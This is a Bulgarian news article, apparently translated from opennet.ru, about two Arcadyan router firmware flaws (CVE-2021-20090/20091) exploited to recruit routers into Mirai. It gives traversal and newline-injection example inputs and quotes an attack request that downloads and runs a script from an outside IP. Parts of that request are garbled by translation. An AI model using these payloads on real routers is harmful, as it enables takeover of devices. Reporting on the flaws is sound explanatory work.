Уязвимост в домашните рутери, засягаща 17 производителя

В мрежата е регистрирана масивна атака срещу домашни рутери, чийто фърмуер използва реализация на HTTP сървър от компанията Arcadyan. За да се получи контрол над устройствата, се използва комбинация от две уязвимости, която позволява дистанционно изпълнение на произволен код с root права. Проблемът засяга доста широк набор от ADSL рутери от Arcadyan, ASUS и Buffalo, както и устройства, доставени под марките Beeline (проблемът е потвърден в Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone и други телеком оператори. Отбелязва се, че проблемът присъства във фърмуера на Arcadyan повече от 10 години и през това време е успял да мигрира към най-малко 20 модела устройства от 17 различни производители.

Първата уязвимост, CVE-2021-20090, прави възможен достъп до всеки скрипт на уеб интерфейс без удостоверяване. Същността на уязвимостта е, че в уеб интерфейса някои директории, през които се изпращат изображения, CSS файлове и JavaScript скриптове, са достъпни без удостоверяване. В този случай директориите, за които е разрешен достъп без удостоверяване, се проверяват с помощта на първоначалната маска. Посочването на знаци „../“ в пътищата за преминаване към родителската директория е блокирано от фърмуера, но използването на комбинацията „..%2f“ се пропуска. По този начин е възможно да се отварят защитени страници при изпращане на заявки като „http://192.168.1.1/images/..%2findex.htm“.

Втората уязвимост, CVE-2021-20091, позволява на удостоверен потребител да прави промени в системните настройки на устройството чрез изпращане на специално форматирани параметри към скрипта apply_abstract.cgi, който не проверява за наличието на символ за нов ред в параметрите . Например, когато извършва ping операция, атакуващият може да посочи стойността „192.168.1.2%0AARC_SYS_TelnetdEnable=1“ в полето с IP адреса, който се проверява, и скрипта, когато създава файла с настройки /tmp/etc/config/ .glbcfg, ще запише реда “AARC_SYS_TelnetdEnable=1” в него ", който активира telnetd сървъра, който осигурява неограничен достъп до командната обвивка с root права. По същия начин, като зададете параметъра AARC_SYS, можете да изпълните всеки код в системата. Първата уязвимост прави възможно стартирането на проблемен скрипт без удостоверяване чрез достъп до него като „/images/..%2fapply_abstract.cgi“.

За да използва уязвимостите, атакуващият трябва да може да изпрати заявка до мрежовия порт, на който работи уеб интерфейсът. Съдейки по динамиката на разпространение на атаката, много оператори оставят достъп до устройствата си от външната мрежа, за да опростят диагностицирането на проблеми от службата за поддръжка. Ако достъпът до интерфейса е ограничен само до вътрешната мрежа, атаката може да бъде извършена от външна мрежа с помощта на техниката „DNS rebinding“. Уязвимостите вече се използват активно за свързване на рутери към ботнета Mirai: POST /images/..%2fapply_abstract.cgi HTTP/1.1 Връзка: затворете User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

Източник: opennet.ru